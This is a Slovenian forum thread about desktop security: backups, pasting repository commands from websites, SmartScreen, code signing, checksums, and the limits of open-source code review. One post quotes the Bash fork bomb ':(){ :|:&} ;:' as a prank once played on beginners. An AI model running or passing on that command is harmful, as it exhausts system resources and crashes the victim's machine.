Načeloma pa zato ker se znam tudi na tujih napakah učit... in so vsi malo pomembnejši podatki shranjeni na najmanj dveh mestih (+ original).
Life is as complicated as we make it...

techfreak :) ::

V /home je sicer en kup travniških rožic, ampak teh ni problem it ponovno nabirat. V /var je pa /www (s kar nekaj folderji).

Lepo da imaš na računalniku v /www spletne strani, ampak velika večina uporabnikov tega nima. Imajo pa vse svoje dokumente, fotografije, profile raznih programov, ... v /home imeniku.

Prav tako kot so tudi že ostali povedali, ima uporabnik tudi v poslovnem okolju dostop do vseh datotek, ki jih potrebuje za svoje delo.

Če nekomu izbrišeš /home oz. mape do katerih ima dostop mu lahko narediš katastrofalno škodo, če pa izbrišeš sistemske datoteke pa se da zadeva rešiti zelo hitro.

Načeloma pa zato ker se znam tudi na tujih napakah učit... in so vsi malo pomembnejši podatki shranjeni na najmanj dveh mestih (+ original).

Večinoma ljudje nimajo kopij svojih datotek.

Pithlit ::

techfreak :) je izjavil:

ampak velika večina uporabnikov tega nima. Imajo pa vse svoje dokumente, fotografije, profile raznih programov, ... v /home imeniku

Saj jaz se s tem strinjam. Ne strinjam se pa s pavšalno trditvijo da je brisanje /home večja žrtev kot brisanje /var - to pač ni res (je pa res v večini primerov).

techfreak :) je izjavil:

Večinoma ljudje nimajo kopij svojih datotek.

In točno na teh tujih napakah se jaz učim. Sem že preveč podatkov reševala... Saj, meni po svoje paše da folk ne dela backup-ov, reševanje pač ni zastonj. Ampak zase se mi pa tega ne ljubi početi. Je ceneje in bolj udobno imet par kopij.
Life is as complicated as we make it...

AndrejO ::

techfreak :) je izjavil:

Očitno veš nekaj, česar jaz ne vem.

http://www.howopensource.com/2012/10/to...

Kako pa to "tuje" skladišče običajen laičen uporabnik doda?

http://www.howopensource.com/2011/10/in...

Iz neke naključne spletne strani bom v konzolo prilepil ukaze, katerih pomena ne poznam in ne razumem. Nekateri se začno s "sudo". :D

Neprecenljivo. Prodam malo rabljen most ... :P

techfreak :) je izjavil:

Misliš SmartScreen od Microsoft 8? To je tista zadeva ki v polovici primerov pove, da program ni podpisan, v polovici primerov pa pove da je napaka glede povezave s strežnikom? V določenih primerih pa 5 minut preverja nekaj MB veliko datoteko in ti lahko samo čakaš, preden se ti dejansko zažene?

Načeloma. Zgodovina tega je kar daljša in niso vsi koščki te zgodbe kar avtomatično zanič.

techfreak :) je izjavil:

Verjetno je ta zadeva kriva za nezaupanje v programsko opremo in s tem tudi manjše dohodke teh podjetij. Uporabniki se ustrašijo in preprosto ne nadaljujejo z namestitvijo ... good job, MS.

Kakšnega levaka, ki kode ne podpisuje, to v komercialnem smislu morda zaboli, varnostno pa je to ena izmed možnih rešitev. Če se pogovarjamo o varnosti, potem se je ne da zamolčati.

Konec koncev govorimo o trojanskih konjih. Pred temi se ne varuješ nikakor drugače, kakor da zaupaš viru (avtorju ali pa distributorju v imenu avtorja). Če vira ne more niti identificirati (podpis je že en takšen mehanizem identifikacije), čemu naj potem uporabnik sploh zaupa? Lepem imenu? Ikonci?

techfreak :) je izjavil:

AppStore je kar kul, žal pa vzamejo nekaj odstotkov denarja za sebe.

Ta pristop pomeni, da obstaja programska oprema za katero zaupaš nekomu tretjemu, da jo nadzira, hkrati pa popolnoma onemogočiš vse ostale načine za dostavo izvršljive kode na napravo. Tudi tukaj lahko najdeš "izgubljene komercialne priložnosti" za tiste, ki imajo produkte, ki upravljalcu takšnega navpično integriranega sistema ne ustreza.

Zgodovina sprememb…

  • spremenil: AndrejO ()

techfreak :) ::

Iz neke naključne spletne strani bom v konzolo prilepil ukaze, katerih pomena ne poznam in ne razumem. Nekateri se začno s "sudo". :D

Lahko jih prepišeš in si tako prepričan da si res napisal canonical.com in google.com pri viru. Ni user friendly, je pa varno.

Načeloma. Zgodovina tega je kar daljša in niso vsi koščki te zgodbe kar avtomatično zanič.

Samo povem da sem s tem imel več problemov kot pa koristi. Imel sem pa možnost ali ne zaupati programu ali pa ne uporabljati programa. Ugani kaj sem izbral.

Kakšnega levaka, ki kode ne podpisuje, to v komercialnem smislu morda zaboli, varnostno pa je to ena izmed možnih rešitev. Če se pogovarjamo o varnosti, potem se je ne da zamolčati.

Veliko je takšnih programov, večkrat pa se tudi ne more povezati na njihove strežnike. Torej če imaš srečo je vse kar dobiš potrdilo da je paketek res sestavil proizvajalec in ne nekdo drug, kar še vseeno ne pomeni da ni trojanca notri.

Razlika med tem in Ubuntu repozitorji je v tem (glede na to kar sem prebral na internetu) da kupiš drag certifikat (ter se po možnosti še dogovoriš z Microsoftom za boljšo obravnavo) ali pa da imaš dovolj veliko število prenosov programa brez pripomb ter da se malware preverja pri uporabniku.
Kolikor sem zasledil ti pri Ubuntu oni preverjajo obnašanje tvojega paketka in ne moreš kar tako noter. Če pa hočeš dodati paket Debianu (od kjer potem pride k Ubuntu) pa moraš tako objaviti izvorno kodo in je stvar tudi pregledana.

Torej očitno ni veliko razlike s strani uporabnika, razen v tem da pri Ubuntu zadeva vedno deluje in ni nadležna ter da so pri Windowsu vsi popularni zaprtokodni programi potrjeni.

AndrejO ::

techfreak :) je izjavil:

Iz neke naključne spletne strani bom v konzolo prilepil ukaze, katerih pomena ne poznam in ne razumem. Nekateri se začno s "sudo". :D

Lahko jih prepišeš in si tako prepričan da si res napisal canonical.com in google.com pri viru. Ni user friendly, je pa varno.

No, sedaj pa te prosim, da se postaviš v vlogo navadnega, tehnično neizobraženega človeka, ki se želi pogovarjati s prijateljem.

Prepišeš vrstico? Fail, ker je preprosto predolga. Kdo bo to prepisoval. Oseba, ki ima težave že z razporejanjem oken po zaslonu, zaradi česar jih ima najraje vedno povečane?

Kopiraš vrstico? CSS hide fail. Shellcode fail.

Ti nisi tarča. Jaz nisem tarča. Tarča so tisti, ki nimajo pojma o računalnikih, jih vidijo samo in izključno kot orodje in ki jih vsako vprašanje na poti do njihovega cilja ovira. Zadnja ideja, ki bi jim jo dajal v glavo je, da naj nekaj kopirajo ali prepisujejo iz nekega spletnega mesta.

Tudi če, potem to ne spremeni varnostne enačbe, kajti vse kar si s tem storil je to, da si premaknil sidro zaupanja. Če ne zaupam spletnem mestu, ki mi ponuja paket za prenos (vsebine ne morem avtenticirati in avtorizirati na uporabniku prijazen način), bom pa zaupal spletnem mestu, ki mi ponuja neko kodo, da jo izvršim (pri čemer vsebine te kode bodisi ne poznam, je ne razumem, ali pa je prikrita na način, da bo v trenutku, ko jo bom prilepil v terminal že prepozno).

Uf, ne hvala. Tole dam v kategorijo najslabših možnih rešitev za laike. Laiki pa so tisti, ki so najšibkejši člen in običajna žrtev zlorabe.

techfreak :) je izjavil:

Načeloma. Zgodovina tega je kar daljša in niso vsi koščki te zgodbe kar avtomatično zanič.

Samo povem da sem s tem imel več problemov kot pa koristi. Imel sem pa možnost ali ne zaupati programu ali pa ne uporabljati programa. Ugani kaj sem izbral.

Upam, da si izbral možnost "ne uporabljati", kajti to je edina pravilna izbira.

V skladu s to logiko in logiko poenostavljanja uprabniških vmesnikov, ki naj ne postavljajo retoričnih vprašanj, je seveda vprašanje popolnoma odvečno in bi ti moral biti zagon takšne aplikacije avtomatično preprečen s kratkim informativnim sporočilcem, da samo brez panike, ampak ta stvar ni delujoča.

Pragmatična in odškodninsko neodgovorna svetovna podjetja raje ponudijo možnost "ne teži mi več", da se jim ni potrebno ukvarjati s tehnično podporo še bolj nesposobnim neodvisnim razvijalcem.

techfreak :) je izjavil:

Veliko je takšnih programov, večkrat pa se tudi ne more povezati na njihove strežnike. Torej če imaš srečo je vse kar dobiš potrdilo da je paketek res sestavil proizvajalec in ne nekdo drug, kar še vseeno ne pomeni da ni trojanca notri.

Z ustrezno uporabo mehanizmov za podpisovanje kode lahko z visoko verjetnostjo zagotoviš, da je paket resnično sestavil proizvajalec in izključno ta bi lahko vstavil trojanca. Metanje kocke, ki je pogojeno z intenzivnostjo želje po zagonu programa (notranje prepričevanje v "saj ni nič narobe") tako nadomestiš z mnogo bolj zanesljivim razmislekom, če boš zaupal nepodpisanem paketu, paketu, ki ga je podpisala Mojca Pokrajculja iz Butal ali paketu, ki ga je v imenu Mojce Pokrajculje iz Butal podpisal Apple Inc.

V naslednjem koraku lahko to odločitev iz človeka preneseš na napravo samo in kvečjemu kje pri strani pustiš odprta vrata posebej za tisto skupino ljudi, ki to potrebuje, si želi in informirano sprejema posledice takšne odločitve. Laik za informirano odločitev ni izobražen (saj je laik), zato se strinjam, da mu je seveda ni potrebno ob vsakem kliku riniti pod nos.

Rezultat je predvidljiv natančno toliko, kot je predvidljiv odgovor na vprašanje "se strinjate, da vas sledimo s piškotki in o vas zbiramo vse možne podatke v zameno za to, da boste lahko v miru prebrali članek, ki se skriva pod tem opozorilom".

techfreak :) je izjavil:

Razlika med tem in Ubuntu repozitorji je v tem (glede na to kar sem prebral na internetu) da kupiš drag certifikat (ter se po možnosti še dogovoriš z Microsoftom za boljšo obravnavo) ali pa da imaš dovolj veliko število prenosov programa brez pripomb ter da se malware preverja pri uporabniku.

No, malo bolj nevtralno opisana konceptualna razlika je, da ti en pristop poskuša zagotavljati avtentikacijo kode (idealizirano je to jasna in pozitivna identifikacija dobavitelja - podpisnika kode), drug sistem pa ti poskuša zagotavljati avtorizacijo kode (idealizirano je to zagotovilo, da koda ne vsebuje zlonamernih elementov).

Pri prvem se izpostavljaš nevarnostim lažnega predstavljanja (Microsoft Inc. vs. Microsaft Inc.) in neznane stopnje zaupanja (ali lahko zaupam Mojci Pokrajculji?).

Pri drugem se izpostavljaš nevarnosti napačne ugotovitve, če malo zlorabim statistične izraze, tipa I (false positive) ali pa tipa II (false negative). Torej lahko ostaneš brez dobre aplikacije ali pa še vedno dobiš trojanca.

Pri obeh nisi varen pred napadom na infrastrukturo, kar pomeni, da to lahko omenim, ne morem pa šteti ne v slabo, ne v dobro katere koli strani. Verjetnost uspešnega napada na infrastrukturo je namreč preveč odvisna od detajlov implementacije in je zato od zunaj ni možno dobro oceniti.

techfreak :) je izjavil:

Kolikor sem zasledil ti pri Ubuntu oni preverjajo obnašanje tvojega paketka in ne moreš kar tako noter. Če pa hočeš dodati paket Debianu (od kjer potem pride k Ubuntu) pa moraš tako objaviti izvorno kodo in je stvar tudi pregledana.

Prva omejitev je ta, da moraš pokazati svojo izvorno kodo. Verjetno se strinjaš, da to ni realistično, saj želi povprečen uporabnik uporabljati tudi takšne aplikacije, ki niso odprtokodne. Lahko tudi takšne, ki jih tudi ni dovoljeno redistribuirati.

Glede pregledovanja izvorne kode, pa lahko glede na število diagnoz od kdaj je bila ta ali ona napaka prisotna v izvorni kodi in s tem vsaj "na papirju" vidna vsem, popolnoma argumentirano rečem, da je mit. Dodaj k temu še nesrečno napako, ko je en izmed razvijalcev za Debina paket sam "popravil" kodo za OpenSSL in s tem povzročil enega izmed največjih varnostnih incidentov tistega obdobja, pa dobiš res "impresiven" track record. Napaka, ki je bila vsem na očeh skrita dve leti.

Pojdimo naprej in pustimo mite pri miru.


techfreak :) je izjavil:

Torej očitno ni veliko razlike s strani uporabnika, razen v tem da pri Ubuntu zadeva vedno deluje in ni nadležna ter da so pri Windowsu vsi popularni zaprtokodni programi potrjeni.

Oboje potrebuje izobraževanje, oboje je pomanjkljivo, oboje je potrebno še naprej nadgrajevati, oboje vodi v sistemsko okolje v katerem bodo varovalke za uporabnika v osnovi in po naravi neločljive od sistemov za nadzor uporabnika.

Ne da bi želel zveneti apokaliptično ali kaj podobnega, vendar pa se osebno računalništvo (personal computing) kot ga poznamo zadnjih cca. 20 let (plus minus, odvisno od regije) nepreklicno bliža koncu tako po obliki, kot po vsebini. Varnostna vprašanja, kako zavarovati medsebojno permanetno povezane, vendar ne tudi strokovno vzdrževane sisteme, so tudi eno izmed gonil te smeri razvoja.

techfreak :) ::

Uf, ne hvala. Tole dam v kategorijo najslabših možnih rešitev za laike. Laiki pa so tisti, ki so najšibkejši člen in običajna žrtev zlorabe.

Ja, za laike pa to res ni najbolj primerna metoda, se strinjam. Očitno bodo morali nekako urediti še podporo za programe, ki ne spadajo v uradne repozitorije.

Upam, da si izbral možnost "ne uporabljati", kajti to je edina pravilna izbira.

Seveda, če nimaš namena uporabljati računalnika ti je vseeno če ima programsko opremo ali ne. Drugače pa nimaš izbire in moraš zadevo zagnati/namestiti.

V skladu s to logiko in logiko poenostavljanja uprabniških vmesnikov, ki naj ne postavljajo retoričnih vprašanj, je seveda vprašanje popolnoma odvečno in bi ti moral biti zagon takšne aplikacije avtomatično preprečen s kratkim informativnim sporočilcem, da samo brez panike, ampak ta stvar ni delujoča.

Zakaj ni delujoča in zakaj bi ti proizvajalec programske opreme imel pravico zavrniti zagon programske opreme, ki z njim nima nič opravka?

Obstajajo tudi druge alternative za preverjanje razvijalca, kot je recimo checksum datoteke ali self-signed certifikat, vendar je to težje za preveriti s strani uporabnika. Še vseeno pa v nobenem primeru to ne pomeni da ti ne boš dobil zlonamerne kode ter da je podpisani res tisti za katerega se predstavlja.

Z ustrezno uporabo mehanizmov za podpisovanje kode lahko z visoko verjetnostjo zagotoviš, da je paket resnično sestavil proizvajalec in izključno ta bi lahko vstavil trojanca. Metanje kocke, ki je pogojeno z intenzivnostjo želje po zagonu programa (notranje prepričevanje v "saj ni nič narobe") tako nadomestiš z mnogo bolj zanesljivim razmislekom, če boš zaupal nepodpisanem paketu, paketu, ki ga je podpisala Mojca Pokrajculja iz Butal ali paketu, ki ga je v imenu Mojce Pokrajculje iz Butal podpisal Apple Inc.

Torej v vsakem primeru moraš zaupati proizvajalcu. Načeloma boš tudi pri odprto kodnih projektih videl, da za večjo varnost priporočajo da sam preveš kodo, saj bi v nasprotnem primeru lahko bil trojanec v izvršljivi datoteki, ki v sami izvorni kodi ni prisoten. Mojci Pokrajculji pa lahko zaupaš če greš na njeno stran pogledati če ima slučajno objavljen javni ključ da preveriš če je res ona podpisala datoteko. Mogoče malo težje kot pa če preverjanje naredi Apple, še vseeno pa nič manj varno.

Pri prvem se izpostavljaš nevarnostim lažnega predstavljanja (Microsoft Inc. vs. Microsaft Inc.) in neznane stopnje zaupanja (ali lahko zaupam Mojci Pokrajculji?).

Pri drugem se izpostavljaš nevarnosti napačne ugotovitve, če malo zlorabim statistične izraze, tipa I (false positive) ali pa tipa II (false negative). Torej lahko ostaneš brez dobre aplikacije ali pa še vedno dobiš trojanca.

Pri obeh si v nevarnosti za trojanca, saj lahko pri preverjanju pride do napake ali pa preverjanja sploh ni. Pri obeh si tudi v nevarnosti glede neznane stopnje zaupanja, saj ti ne pomaga veliko če zadevo podpiše Apple, ker še vseeno ne veš če lahko zaupaš proizvajalcu aplikacije. Samo zaradi tega ker se Applu zdi zadeva kul, še ne pomeni da tudi res je.

Prva omejitev je ta, da moraš pokazati svojo izvorno kodo. Verjetno se strinjaš, da to ni realistično, saj želi povprečen uporabnik uporabljati tudi takšne aplikacije, ki niso odprtokodne. Lahko tudi takšne, ki jih tudi ni dovoljeno redistribuirati.

Če prav vem je ta omejitev samo pri Debianu, saj ti drugače ne omogočijo dodajanja programov v njihove repozitorije. Pri Ubuntu lahko brez problema ponujaš zaprtokodne aplikacije in z njimi celo služiš (kar nekaj aplikacij v Ubuntu Software Centru je plačjivih). Glede redistribuiranja se strinjam da bi bilo potrebno urediti sistem za njih.

Glede pregledovanja izvorne kode, pa lahko glede na število diagnoz od kdaj je bila ta ali ona napaka prisotna v izvorni kodi in s tem vsaj "na papirju" vidna vsem, popolnoma argumentirano rečem, da je mit. Dodaj k temu še nesrečno napako, ko je en izmed razvijalcev za Debina paket sam "popravil" kodo za OpenSSL in s tem povzročil enega izmed največjih varnostnih incidentov tistega obdobja, pa dobiš res "impresiven" track record. Napaka, ki je bila vsem na očeh skrita dve leti.

Kar pa še vseeno ne pomeni da se kaj takšnega ne more zgoditi tudi pri zaprto kodnih projektih. Imaš pa vsaj zadevo na voljo da jo pregledaš sam oz. najameš neodvisne raziskovalce. Pri zaprti kodi te opcije žal nimaš.

Ne da bi želel zveneti apokaliptično ali kaj podobnega, vendar pa se osebno računalništvo (personal computing) kot ga poznamo zadnjih cca. 20 let (plus minus, odvisno od regije) nepreklicno bliža koncu tako po obliki, kot po vsebini.

Upajmo da se kaj takšnega ne zgodi, saj bi v tem primeru imela določena podjetja skoraj popoln nadzor nad tem kaj delajo njihovi uporabniki. Podobne zadeve se že dogajajo sedaj (PRISM in podobne zadeve) in upajmo da bodo ljudje vsaj poizkusili kaj narediti proti temu.

AndrejO ::

techfreak :) je izjavil:

Uf, ne hvala. Tole dam v kategorijo najslabših možnih rešitev za laike. Laiki pa so tisti, ki so najšibkejši člen in običajna žrtev zlorabe.

Ja, za laike pa to res ni najbolj primerna metoda, se strinjam. Očitno bodo morali nekako urediti še podporo za programe, ki ne spadajo v uradne repozitorije.

Mhm. To je pa sedaj jedro varnostnega problema te rešitve. Dokler obstaja enostavna možnost, da se rešitev zaobide, potem to ni varnostna rešitev. Ko začneš razmišljati kako ta vrata zapreti, pa te to zelo verjetno privede do omejitev, ki za marsikoga niso sprejemljive.

techfreak :) je izjavil:

Upam, da si izbral možnost "ne uporabljati", kajti to je edina pravilna izbira.

Seveda, če nimaš namena uporabljati računalnika ti je vseeno če ima programsko opremo ali ne. Drugače pa nimaš izbire in moraš zadevo zagnati/namestiti.

Vedno imaš izbiro. To, da izbire nimaš, je samo primer samomotivacijske zgodbice, ki si jo tipičen uporabnik "zaigra" v glavi, ko počne nekaj, kar mu vsi odvsetujejo, on pa hoče to in nič drugega. Povprečen uporabnik ne želi izbire. Če jo ima, ne bo izbral "pravilno pot", temveč bo izbral najhitrejšo pot.

Vnesi svoj EMŠO tukaj in sodeluj v nagradni igri za set čajnih skodelic. Varnost na tem nivoju deluje identično. Ker ga sistem opozarja, da kode ni možno preveriti (torej obstaja resna možnost, da je z njo kaj narobe), sam pa ni zmožen neodvisne objektivne preverbe, še manj pa objektivne in informirane odločitve kaj mora storiti v danem trenutku, je iz vidika varnosti rešitev samo ena in edina. Odvzem izbire, pojasnilo stanja in konec.

techfreak :) je izjavil:

V skladu s to logiko in logiko poenostavljanja uprabniških vmesnikov, ki naj ne postavljajo retoričnih vprašanj, je seveda vprašanje popolnoma odvečno in bi ti moral biti zagon takšne aplikacije avtomatično preprečen s kratkim informativnim sporočilcem, da samo brez panike, ampak ta stvar ni delujoča.

Zakaj ni delujoča in zakaj bi ti proizvajalec programske opreme imel pravico zavrniti zagon programske opreme, ki z njim nima nič opravka?

Vseeno je komu uporabnik sam podeli ali odvzame to pravico ali na kakšen način to izbiro opravi.

Kaj ima Canonical (hipotetično, če zapreš zogrnjo luknjo) za nadzirati katero programsko opremo je zaželjeno zaganjati na uporabnikovem računalniku? Ali pa Google? Ali pa Apple? Ali pa Microsoft? Ali pa kdorkoli?

Hkrati pa se tudi ti strinjaš z zaključkom, da zagon programa, ki je bil prenešen iz neznane lokacije iz varnostnega vidika ni najbolje urejen. Kako se to lahko uredi in ali je stranska posledica takšne ureditve, za laičnega povprečnega uporabnika, karkokoli drugačna od tega, da nekdo tretji, nekdo ki mu računalnik prednastavljeno zaupa, efektivno odloča o temu katera programska oprema bo na uporabnikovem računalniku delovala, katera pa ne.

techfreak :) je izjavil:

Obstajajo tudi druge alternative za preverjanje razvijalca, kot je recimo checksum datoteke ali self-signed certifikat, vendar je to težje za preveriti s strani uporabnika.

Checksum ni varnostna rešitev. Varnost takšne kode je za laika primerljiva z visokim standardom varnosti, ki ga predstavlja GIF slikica žiga na spletni strani za ribarjenje.

Ravno tako tudi samopodpisana potrdila niso varnostna rešitev. Izvoliš, tukaj imam pooblastilo za zastopanje tebe. Samo še podpišem te, pa je veljavno. To je samopodpisano digitalno potrdilo v tem kontekstu.

techfreak :) je izjavil:

Še vseeno pa v nobenem primeru to ne pomeni da ti ne boš dobil zlonamerne kode ter da je podpisani res tisti za katerega se predstavlja.

Se bom k temu vrnil malo nižje pri Mojci P.

techfreak :) je izjavil:

Torej v vsakem primeru moraš zaupati proizvajalcu.

Kot laik boš vedno moral zaupati nekomu. Kot strokovnjak boš moral večinoma zaupati nekomu. To so neizogibna dejstva.

techfreak :) je izjavil:

Načeloma boš tudi pri odprto kodnih projektih videl, da za večjo varnost priporočajo da sam preveš kodo, saj bi v nasprotnem primeru lahko bil trojanec v izvršljivi datoteki, ki v sami izvorni kodi ni prisoten.

Priporočilo je neumnost, ker je osnovano na mitih, da strokovnjaki beremo kodo (OpenSSL - 349304 vrstic v .c datotekah, 10.017.514 znakov; In search of lost time, Proust, angleščina - cca. 1.200.000 znakov, 4.211 strani v 7 zvezkih; War and peace, Tolstoj, angleščina - cca. 500.000 znakov), da strokovnjaki kodo in njene implikacije sploh razumemo (CVE-2008-0166). Še strokovnjaki tega nismo sposobni, pa naj bo to koristen nasvet.

techfreak :) je izjavil:

Mojci Pokrajculji pa lahko zaupaš če greš na njeno stran pogledati če ima slučajno objavljen javni ključ da preveriš če je res ona podpisala datoteko. Mogoče malo težje kot pa če preverjanje naredi Apple, še vseeno pa nič manj varno.

Ah, ampak pomešal si to, da mi (pravilen in varen - privzamimo, da je pač preverljiv in preverjen) podpis pove, da je kodo podpisala Mojca P., ne pove mi pa ničesar o temu, če ima Mojca P. kriminalna nagnjenja ali pa ne. Apple zagotovo nima kriminalnih nagnjen, ni pa popoln. Hkrati pa daje takšen sistem odgovor na dve tvoji vprašanji: kdo lahko govori kaj bom poganjal na svojem (lepo oblikovanem žepnem) računalniku in kakšna je ena možna rešitev za problem, da upravljanje s kodo, ki ni iz skladišča in ni preverjena (tudi, če je podpisana), pušča odprta vrata za zlorabo. Seveda ni popoln, je pa preklemano boljši od "to je nevarno, nimam pojma čigavo je, nimam pojma od kje je".

V splošnem pazi, da ne mešaš podpisa, ki jamči identiteto, s podpisom, ki jamči benignost. Dva tvoja odgovora tukaj sta to medsebojno malo pomešala.

techfreak :) je izjavil:

Pri obeh si v nevarnosti za trojanca, saj lahko pri preverjanju pride do napake ali pa preverjanja sploh ni. Pri obeh si tudi v nevarnosti glede neznane stopnje zaupanja, saj ti ne pomaga veliko če zadevo podpiše Apple, ker še vseeno ne veš če lahko zaupaš proizvajalcu aplikacije. Samo zaradi tega ker se Applu zdi zadeva kul, še ne pomeni da tudi res je.

Pa še cel kup razlogov lahko našteješ kaj je pri temu problematično in imel boš popolnoma prav. 100% varnost v trenutnem okolju ni dosegljiva. Kar je dosegljivo, je tolikšnja stopnja zahtevane kompleksnosti napada, da je dobiček ne dosega stroškov izvedbe.

To izrecno izključuje posebne sisteme, ki jih ne upravljajo ali varujejo laiki, ker se na njih nahajajo ali obdelujejo podatki, ki predstavljajo poslovne ali drugačne skrivnosti. Pri teh so stroški in dobički merijo z drugačnimi vatli, obramba je drugače organizirana in strukturirana in tudi napadalci so drugačna kategorija.

Pri temu pa še vedno velja, da en pristop omogoča, da identificiraš tiste avtorje, ki jim lahko bolj zaupaš, kot pa Mojci P. (kar pokrije veliko za laične uporabnike zanimivega programja), oziroma se zanašaš na delo podjetij, ki so svetovno znana in katerih ugled ter s tem dobički in cena delnice so nesporno na kocki, če svojega dela ne bodo opravljala najmanj zadovoljivo.

techfreak :) je izjavil:

Če prav vem je ta omejitev samo pri Debianu, saj ti drugače ne omogočijo dodajanja programov v njihove repozitorije. Pri Ubuntu lahko brez problema ponujaš zaprtokodne aplikacije in z njimi celo služiš (kar nekaj aplikacij v Ubuntu Software Centru je plačjivih). Glede redistribuiranja se strinjam da bi bilo potrebno urediti sistem za njih.

To je povzetek uvodnega odstavka tvojega sporočila, zato tukaj ne bom še dodatno odgovarjal.

techfreak :) je izjavil:

Kar pa še vseeno ne pomeni da se kaj takšnega ne more zgoditi tudi pri zaprto kodnih projektih. Imaš pa vsaj zadevo na voljo da jo pregledaš sam oz. najameš neodvisne raziskovalce. Pri zaprti kodi te opcije žal nimaš.

Spolzek teren. Po tej metriki primerjave med obema paradigmama razvoja ne moreš delati, ker za eno nimaš podatkov. Najemanje neodvisnih raziskovalcev... je spolzko. Če množice odvisnih in neodvisnih strokovnjakov ne zagledajo napak mesece in leta, potem pa se vsi držijo za glavo, ko je vsem očitno kaj je šlo narobe, to zagotovo ni argument, ki bi potrjeval njeno večjo varnost brez objektivnega podatka o drugi strani.

Odprta koda ima iz varnostnega vidika samo to lastnost, da je "poštena". Njen dolgoročen pozitiven učinek na splošno informacijsko varnost (tudi za zaprtokodne sistema) se skriva v temu, da omogoča učenje na napakah drugih. Pri odprti kodi se lahko odgovori na vsa bistvena vprašanja o napaki (kaj, kako, kdaj, zakaj).

techfreak :) je izjavil:

Upajmo da se kaj takšnega ne zgodi, saj bi v tem primeru imela določena podjetja skoraj popoln nadzor nad tem kaj delajo njihovi uporabniki. Podobne zadeve se že dogajajo sedaj (PRISM in podobne zadeve) in upajmo da bodo ljudje vsaj poizkusili kaj narediti proti temu.

Za to, da se to ne bo zgodilo, nasprotovanje ne bo zadoščalo. Potrebno je najti, predlagati in vzpostaviti alternativne in učinkovite rešitve s katerimi se bo odgovorilo na potrebe uporabnikov (znova: to nisva ti ali pa jaz), pri čemer pa se ne bo ogrozilo skoraj edinstvenih pozitivnih posledic za razvoj IT-ja kot panoge in IT-ja kot podpornega servisa postmoderni družbi, ki so jih prinesli poceni hramba, poceni računska moč in poceni povezanost (in povezljivost).

Zgodovina sprememb…

  • spremenil: AndrejO ()

MrStein ::

techfreak :) je izjavil:


Načeloma boš tudi pri odprto kodnih projektih videl, da za večjo varnost priporočajo da sam preveš kodo, saj bi v nasprotnem primeru lahko bil trojanec v izvršljivi datoteki, ki v sami izvorni kodi ni prisoten.

Kaj pa če je v izvorni kodi tudi prisoten?
(za laike je sicer to enako navodilom: tu imaš sestavne dele časovnega stroja. PS: Plutonij moraš sam nabaviti.)

Glede pregledovanja izvorne kode, pa lahko glede na število diagnoz od kdaj je bila ta ali ona napaka prisotna v izvorni kodi in s tem vsaj "na papirju" vidna vsem, popolnoma argumentirano rečem, da je mit. Dodaj k temu še nesrečno napako, ko je en izmed razvijalcev za Debina paket sam "popravil" kodo za OpenSSL in s tem povzročil enega izmed največjih varnostnih incidentov tistega obdobja, pa dobiš res "impresiven" track record. Napaka, ki je bila vsem na očeh skrita dve leti.

Kar pa še vseeno ne pomeni da se kaj takšnega ne more zgoditi tudi pri zaprto kodnih projektih. Imaš pa vsaj zadevo na voljo da jo pregledaš sam oz. najameš neodvisne raziskovalce. Pri zaprti kodi te opcije žal nimaš.

Zaprta koda se ne preglejuje? Kako pa odkrijejo vse te luknje? c c c c...
In za resen pregled še izvorno kodo v vpogled dobiš.
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

Matthai ::

AndrejO je izjavil:

Iz neke naključne spletne strani bom v konzolo prilepil ukaze, katerih pomena ne poznam in ne razumem. Nekateri se začno s "sudo". :D

Neprecenljivo. Prodam malo rabljen most ... :P

Ni nujno. Lahko je povsem nedolžen ukaz: http://thejh.net/misc/website-terminal-...
>:D

Most pa kupim! 8-)
All those moments will be lost in time, like tears in rain...
Time to die.

AndrejO ::

Matthai je izjavil:

AndrejO je izjavil:

Iz neke naključne spletne strani bom v konzolo prilepil ukaze, katerih pomena ne poznam in ne razumem. Nekateri se začno s "sudo". :D

Neprecenljivo. Prodam malo rabljen most ... :P

Ni nujno. Lahko je povsem nedolžen ukaz: http://thejh.net/misc/website-terminal-...
>:D

Meh. Konkretna stran je imela sudo in je bil pač sudo.

Matthai je izjavil:

Most pa kupim! 8-)

Seveda, absolutno. Takoj ti pošljem podatke za nakazilo za polovico stroškov transporta. Za most pa plačaš takoj ob prejemu. 8-)

Pithlit ::

Tole: :(){ :|:&} ;: je blo včasih popularno podtikat kakim začetnikom. En kup brezveznih znakov. Ziher se ne bo nič zgodilo...
Life is as complicated as we make it...

kogledom ::

WizmoTo je izjavil:

Nekatera zalega se zna širiti tudi iz hosta na VM guest.

Lahko kdo pove kaj več o tem? Kaj pa v drugo smer, guest -> host? Kakšen link bi tud bil dobrodošel. Hvala!

MrStein ::

Tudi baje gre, guest->host.
Google. ;)
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!
1
2
»


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

Knjige, ki so pustile pečat (strani: 1 2 )

Oddelek: Sedem umetnosti
513765 (1514) BigWhale
»

Anonymousova orodja vsebujejo trojanskega konja

Oddelek: Novice / Varnost
4511745 (8445) Roadkill
»

Novice iz sveta Bitcoina (strani: 1 2 )

Oddelek: Novice / Kriptovalute
5013821 (11236) kronik
»

Tri leta kradli osebne podatke

Oddelek: Novice / Zasebnost
84191 (3111) Matev
»

Program za branje forumov

Oddelek: Omrežja in internet
211089 (596) Baja

Več podobnih tem